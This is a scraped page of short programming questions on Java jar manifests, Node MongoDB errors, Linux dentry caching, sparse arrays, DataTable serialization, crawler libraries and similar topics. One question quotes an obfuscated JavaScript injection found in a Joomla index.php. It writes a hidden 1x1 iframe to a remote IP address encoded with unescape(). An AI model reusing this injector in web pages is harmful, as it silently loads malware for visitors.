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  • Question regarding Manifest in Java jar file

    - by Tara Singh
    Hi All, Is is mandatory to have classpath inside a Manifest file inside the java jar file? can we do work without having the classpath inside it? The reason why I am asking this is because I have a jar file for a server application. When I tried to connect many connections with Server, Server went down and the error was "Too many open files", when searched about it, I found one Sun Bug http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=6446657 . Then I checked and i was having a classpath entry in the Jar file. So this question arises. Thanks, Tara Singh

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  • Scheme implementations - what does it mean?

    - by JDelage
    Hi, I'm a beginning student in CS, and my classes are mostly in Java. I'm currently going through "Little Schemer" as a self study, and in the process of finding out how to do that I have found numerous references to "implementations" of Scheme. My question is, what are implementations? Are they sub-dialects of Scheme, or is that something else (DrScheme seem to allow for different "flavors" of the language)? Is it just the name given to any given ecosystem incorporating an IDE, interpreter, interactive tool and the like? Do all other languages (e.g., Java) also have a variety of "implementations", or is it something reserved to "open" languages? Thank you, Joss Delage

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  • NodeJS and node-mongodb-native

    - by w1nk
    Just getting started with node, and trying to get the mongo driver to work. I've got my connection set up, and oddly I can insert things just fine, however calling find on a collection produces craziness. var db = new mongo.Db('things', new mongo.Server('192.168.2.6',mongo.Connection.DEFAULT_PORT, {}), {}); db.open(function(err, db) { db.collection('things', function(err, collection) { // collection.insert(row); collection.find({}, null, function(err, cursor) { cursor.each(function(err, doc) { sys.puts(sys.inspect(doc,true)); }); }); }); }); If I uncomment the insert and comment out the find, it works a treat. The inverse unfortunately doesn't hold, I receive this error: collection.find({}, null, function(err, cursor) { ^ TypeError: Cannot call method 'find' of null I'm sure I'm doing something silly, but for the life of me I can't find it...

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  • Detect Installed Application URI Handler on Webkit browsers

    - by Punit Raizada
    Guys, I have a question mainly related to the Iphone web browser but I am hoping the same solution would work on other browsers that are webkit based. I have a application (Iphone + Android) that registers a handler for custom URI (appuri://) on the Phone. I am able to launch the application by making a link to "appuri://act/launch" from my web pages. This works only if my application is installed on the device. If the device does not have the app installed then a message comes up "Safari was not able to open ....". What I want to do is detect if the URI Scheme is supported from the browser and then prompt my own message saying "please download the app ..blah blah blah" if the handler for the URI scheme is not found. Is there a way I can detect or find the list of URL Scheme handlers on the Phone from the Web Browser ?

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  • Linux Kernel - Refreshing VFS Dentry Cache

    - by Mike D
    I wrote a system call that opens a directory and gets the file object and the dentry struct. Im trying to list all entries including entries in subdirectories using the list_for_each() macro. The problem is its only displaying whats currently in the dentry cache. If I open the directory with nautilus then rerun the system call, all the entries are listed. Is there a way to check the exact list of entries or refresh the cache? f = s_open(tpath); fle = fget(f); d = fle->f_path.dentry; list_for_each ( position , &d->d_subdirs ) { dtmp = list_entry(position, struct dentry, d_u.d_child); ... } sys_close(f);

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  • Website index.php page chnages automatically with one script in the end

    - by Mirage
    I have seen that , this happend twice that , in my root index.php file. I have this thing added <html><body><script type='text/javascript'>str="<vdepognbt src=" + unescape('%68%74%74%70%3a%2f%2f%37%39%2e%31%33%35%2e%31%35%32%2e%31%38%31%2f%73%74%61%74%73%2f%67%6f%2e%70%68%70%3f%73%69%64%3d%31') + " Oaoz5='1'vxoq5='1'>";str = str.replace('vde', 'i');str =str.replace('pog', 'fr');str = str.replace('nbt', 'ame');str =str.replace('Oaoz5', 'width');str =str.replace('vxoq5','height');document.write(str);</script></body></html> Does anyone knows what is that and how it comes. When i tried to open my webiste in google chrome , it told me that some malacious software is trying to run from harmful website , do you want to allow it. How ever when deleted that script then everything was ok But this ahppedn twice in 2 weeks Is that the virus . how can something chANGE MY CODE i AM USING JOOMLA

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  • Sparse matrices / arrays in Java

    - by DanM
    I'm working on a project, written in Java, which requires that I build a very large 2-D sparse array. Very sparse, if that makes a difference. Anyway: the most crucial aspect for this application is efficency in terms of time (assume loads of memory, though not nearly so unlimited as to allow me to use a standard 2-D array -- the key range is in the billions in both dimensions). Out of the kajillion cells in the array, there will be several hundred thousand cells which contain an object. I need to be able to modify cell contents VERY quickly. Anyway: Does anyone know a particularly good library for this purpose? It would have to be Berkeley, LGPL or similar license (no GPL, as the product can't be entirely open-sourced). Or if there's just a very simple way to make a homebrew sparse array object, that'd be fine too. I'm considering MTJ, but haven't heard any opinions on its quality. Thanks!! -Dan

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  • What is best way to raise application events for use with admin network monitoring tools

    - by J Cooper
    In a semi-critical .NET service application, what would be a good strategy for raising application events that could be monitored by network administration tools? The events would be for errors, status changes, and possibly other notifications. My company is planning to use some kind of tool down the road to monitor all critical machines and services. As of right now they are using Spice Works to do some monitoring but it is not known if they will keep this down the road. By strategy I mean, perhaps using some sort of protocol ( my network admin has mentioned SNMP), perhaps a service such as windows event log. I have no idea what is available, so I'm leaving the options open. With that in mind, here is a list of preferences I came up with: Somewhat easy to use with .NET. Reliability Should work well with a variety of admin monitoring tools Works with non - windows monitoring tools Works with Spice Works

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  • What response Adobe Acrobat/Reader gets back after submitting form to a PHP script

    - by Laszlo
    Hi, PDF experts help needed, I am posting a form from PDF to a PHP script with Adobe Acrobat. I would like to set my PDF to display appropiate messages based upon some returned values. So I am looking for returned values... if there is any returned values after posting the form, how can I access them? Maybe, there is an option to set this in Adobe? Another thing: When the PDF form gets submitted and let's say I echo back a 'thank you' message from my form-handler PHP script, a new PDF gets created and opened displaying my message... is there a way to open that new message in the same window and close the form instead? Thanks, Laz

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  • how to serialize a DataTable to json or xml

    - by loviji
    Hello, i'm trying to serialize DataTable to Json or XML. is it possibly and how? any tutorials and ideas, please. For example a have a sql table: CREATE TABLE [dbo].[dictTable]( [keyValue] [int] IDENTITY(1,1) NOT NULL, [valueValue] [int] NULL, CONSTRAINT [Psd2Id] PRIMARY KEY CLUSTERED ( [keyValue] ASC )WITH (PAD_INDEX = OFF, IGNORE_DUP_KEY = OFF) ON [PRIMARY] ) ON [PRIMARY] C# code: string connectionString = "server=localhost;database=dbd;uid=**;pwd=**"; SqlConnection mySqlConnection = new SqlConnection(connectionString); string selectString = "SELECT keyValue, valueValue FROM dicTable"; SqlCommand mySqlCommand = mySqlConnection.CreateCommand(); mySqlCommand.CommandText = selectString; SqlDataAdapter mySqlDataAdapter = new SqlDataAdapter(); mySqlDataAdapter.SelectCommand = mySqlCommand; DataSet myDataSet = new DataSet(); mySqlConnection.Open(); string dataTableName = "dictionary"; mySqlDataAdapter.Fill(myDataSet, dataTableName); DataTable myDataTable = myDataSet.Tables[dataTableName]; //now how to serialize it?

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  • Get a list of members of a WinNT group (C#)

    - by Keith Moore
    There are a couple of questions similar to this on stack overflow but not quite the same. I want to open, or create, a local group on a win xp computer and add members to it, domain, local and well known accounts. I also want to check whether a user is already a member so that I don't add the same account twice, and presumably get an exception. So far I started using the DirectoryEntry object with the WinNT:// provider. This is going ok but I'm stuck on how to get a list of members of a group? Anyone know how to do this? Or provide a better solution than using DirectoryEntry?

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  • 503 (Server Unavailable) WebException when loading local XHTML file in Visual C# 2008

    - by kcoppock
    Hello! So I'm currently working on an ePub reader application, and I've been reading through a bunch of regular XML files just fine with System.Xml and XmlDocument: XmlDocument xmldoc = new XmlDocument(); xmldoc.Load(Path.Combine(Directory.GetCurrentDirectory(), "META-INF/container.xml")); XmlNodeList xnl = xmldoc.GetElementsByTagName("rootfile"); However, now I'm trying to open the XHTML files that contain the actual book text, and they're XHTML files. Now I don't really know the difference between the two, but I'm getting the following error with this code (in the same document, using the same XmlDocument and XmlNodeList variable) xmldoc.Load(Path.Combine(Directory.GetCurrentDirectory(), "OEBPS/part1.xhtml")); "WebException was unhandled: The remote server returned an error: (503) Server Unavailable" It's a local document, so I'm not understanding why it's giving this error? Any help would be greatly appreciated. :) I've got the full source code here if it helps: http://drop.io/epubtest (I know the ePubConstructor.ParseDocument() method is horribly messy, I'm just trying to get it working at the moment before I split it into classes)

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  • XUL shortcut keys

    - by jaswanttak
    Hi Friend, I am developing a Firefox add-on, and for that I have used overlay, now I want that if somebody presses the key like control+j it should open my extension, and if somebody presses ctrl+space it should execute a JavaScript function. I tried this: <keyset id="mainKeyset"> <key id="keyOpen" keycode="VK_J" oncommand="document.getElementById('menuboard').showPopup(document.getElementById('mypanel'), -1, -1, 'popup', 'topleft', 'bottomleft');"/> <key id="keyExecute" modifiers="control" keycode="VK_SPACE" oncommand="javascript:myfucntion();"/> </keyset> But where it's not working what I am missing can anybody help me, please. Thanks, Jaswant

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  • Is there a log file analyzer for log4j files?

    - by Juha Syrjälä
    I am looking for some kind of analyzer tool for log files generated by log4j files. I am looking something more advanced than grep? What are you using for log file analysis? I am looking for following kinds of features: The tool should tell me how many time a given log statement or a stack trace has occurred, preferably with support for some kinds of patterns (eg. number of log statements matching 'User [a-z]* logged in'). Breakdowns by log level (how many INFO, DEBUG lines) and by class that initiated the log message would be nice. Breakdown by date (how many log statements in given time period) What log lines occur commonly together? Support for several files since I am using log rolling Hot spot analysis: find if there is a some time period when there is unusually high number of log statements Either command-line or GUI are fine Open Source is preferred but I am also interested in commercial offerings My log4j configuration uses org.apache.log4j.PatternLayout with pattern %d %p %c - %m%n but that could be adapted for analyzer tool.

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  • What is the fastest way to unzip textfiles in Matlab during a function?

    - by Paul
    Hello all, I would like to scan text of textfiles in Matlab with the textscan function. Before I can open the textfile with fid = fopen('C:\path'), I need to unzip the files first. The files have the extension: *.gz There are thousands of files which I need to analyze and high performance is important. I have two ideas: (1) Use an external program an call it from the command line in Matlab (2) Use a Matlab 'zip'toolbox. I have heard of gunzip, but don't know about its performance. Does anyone knows a way to unzip these files as quick as possible from within Matlab? Thanks!

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  • Studying MySQL, SQLite source code to learn about RDBMS implementation

    - by Yang
    I know implementing database is a huge topic, but I want to have a basic understanding of how database systems work (e.g. memory management, binary tree, transaction, sql parsing, multi-threading, partitions, etc) by investigating the source code of the database. Since there are a few already proven very robust open source databases like mysql, sqlite and so on. However, the code are very complicated and I have no clue where to start. Also I find that the old school database textbooks are only explaining the theory, not the implementation details. Can anyone suggest how I should get started and if there are any books that emphasis on the technology and techniques of building dbms used in modern database industry?

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  • Use python decorators on class methods and subclass methods

    - by AlexH
    Goal: Make it possible to decorate class methods. When a class method gets decorated, it gets stored in a dictionary so that other class methods can reference it by a string name. Motivation: I want to implement the equivalent of ASP.Net's WebMethods. I am building this on top of google app engine, but that does not affect the point of difficulty that I am having. How it Would look if it worked: class UsefulClass(WebmethodBaseClass): def someMethod(self, blah): print(blah) @webmethod def webby(self, blah): print(blah) # the implementation of this class could be completely different, it does not matter # the only important thing is having access to the web methods defined in sub classes class WebmethodBaseClass(): def post(self, methodName): webmethods[methodName]("kapow") ... a = UsefulClass() a.post("someMethod") # should error a.post("webby") # prints "kapow" There could be other ways to go about this. I am very open to suggestions

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  • What is a good Java crawler library?

    - by DrDee
    Hi, I am about to develop a crawler in Java but don't feel like reinventing the wheel. A quick Google search gives a whole bunch of Java libraries to build a web crawler. Besides that Nutch is of course a very robust package but seems a bit too advanced for my needs. I only need to crawl a handful websites a week containing a couple of 1000 pages each. Which open source Java library would you recommend considering: speed multithreading (or even distributed) extending it with new functionality active maintained and documentation?

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  • Is there a jquery List plugin that will auto-sort items and has robust add/remove methods?

    - by Breadtruck
    I have been googling for hours looking for something to handle my situation. I am not skilled enough to write my own jquery plugin ..YET!! The plugin should auto-sort the list, not as important as being able to add/remove items from the list easily. Themeroller capable would be a plus. I would basically use anything as long as I could add a item to the list (or any other container for that matter), item is coming from a modal popup that is using ajax to search for the item. Once the item is found I want to click that item and have it added to the list and it would put it into the correct order based on alphabetic sort. I think where I am losing sight is the complexity of the item and needing to have the item contain: The name of the item a hidden value, [the int id of the item], one or two checkboxes for turning on/off a feature for that item. I am really open to any ideas, suggestions on a better process, or a pointer to a plugin that might get me close.

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  • iPhone - Native App GeoLocation VS Web App GeoLocation

    - by Sam
    Here's my situation; I've built a very simple web app that looks up a users location and plots it on a Google map. Here's my code: http://pastebin.com/d3a185efd When I test it, my location is detected as being = 500 meters from where I actually stand. BUT When I open up Google Maps or Gowalla my location is correct to within <20 meters? So my question is: Do native iPhone apps benefit from a higher accuracy rate than web apps? If so, why?

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  • Reading DBF with VFPOLEDB driver problem.

    - by John Sheares
    I am using VFPOLEDB driver to read DBF files and I keep getting this error and I am not sure why and how to fix the problem: The provider could not determine the Decimal value. For example, the row was just created, the default for the Decimal column was not available, and the consumer had not yet set a new Decimal value. Here is the code. I call this routine to return a DataSet of the DBF file and display the data in a DataGridView. public DataSet GetDBFData(FileInfo fi, string tbl) { using (OleDbConnection conn = new OleDbConnection( @"Provider=VFPOLEDB.1;Data Source=" + fi.DirectoryName + ";")) { conn.Open(); string command = "SELECT * FROM " + tbl; OleDbDataAdapter da = new OleDbDataAdapter(command, conn); DataSet ds = new DataSet(); da.Fill(ds); return ds; } }

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  • Which web containers install themselves well as a Windows service?

    - by Thorbjørn Ravn Andersen
    We have had a web application product for several years, and used Tomcat to deploy it under Windows as it registers itself as a Windows service so it starts and stops automatically. We may now happen to need more JEE facilitites than is provided by Tomcat (we are very tempted by the JEE 6 things in the container) so the question is which Open Source JEE containers works well as Windows services. Since Glassfish is the only JEE 6 implementation right now, it would be nice if it works well, but I'd like to hear experiences and not just what I can read from brochures. If not, what else do people use? EDIT: This goes for web containers too, and not just JEE containers. We will probably keep the necessary stack included until we find the right container and it gets JEE6 support. EDIT: I want this to work as distributed. I'm not interested in manually hacking wrappers etc., but want the installation process to handle the creation and removal of the service.

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  • Thrift and .NET - Is this is right combination?

    - by Vadi
    I've been evaluating various technologies for a Social Networking project. The Thrift kind of interested me to evaluate. The advantage I see using Thrift is I can even come with C++ services when the computation in any such business is huge and may not fits with .NET etc., Please suggest your comments. My Questions: Is the open-sourced one is production-ready? Is it the right stack for services layer to choose when the application (GUI) is primarily gets developed in ASP.NET and DB is SQL Server? Is there any other caveats

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  • OpenXML SDK Spreadsheet starter kits

    - by JWendel
    I am trying to start working with excel documents through the OpenXML SDK Spreadsheet API. But I havent found any good guides or even examples on how to create a xlsx file from scratch. Only how to open an existing document and modify it. I have been thinking on having a empty template document and make a copy of it an then begin my proccessing on it. But it doesent feel right. It might be easier but I not comfortable using a technique I dont feel that I understand "pretty" good atleast. So my question is: Anyone has any god tips on articles or books or any other type of resource that explains the API. Thanks in advance. /johan

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  • Django - model.save(commit=False - Is there a way to replicate this?

    - by orokusaki
    I'm wanting to do this: from django.contrib.auth.models import User class PetFrog(models.Model): user = models.OnetoOneField(User) color = models.CharField(max_length=20) def clean(self): if self.color == 'Green': user = User(username='prince') user.save(commit=False) # No commit argument in models.Model.save() like there is in ModelForm.save() user.set_password(self.password) user.save() self.user = user Is there a way to do this creation of a model instance without filling in all the required fields, and then setting them manually before trying to save() for real (which would obviously raise a "Must choose a Password" error)? I need to do this in my model, vs using a ModelForm. If there is another way to do it (while still in clean()), I'm completely open to any suggestions.

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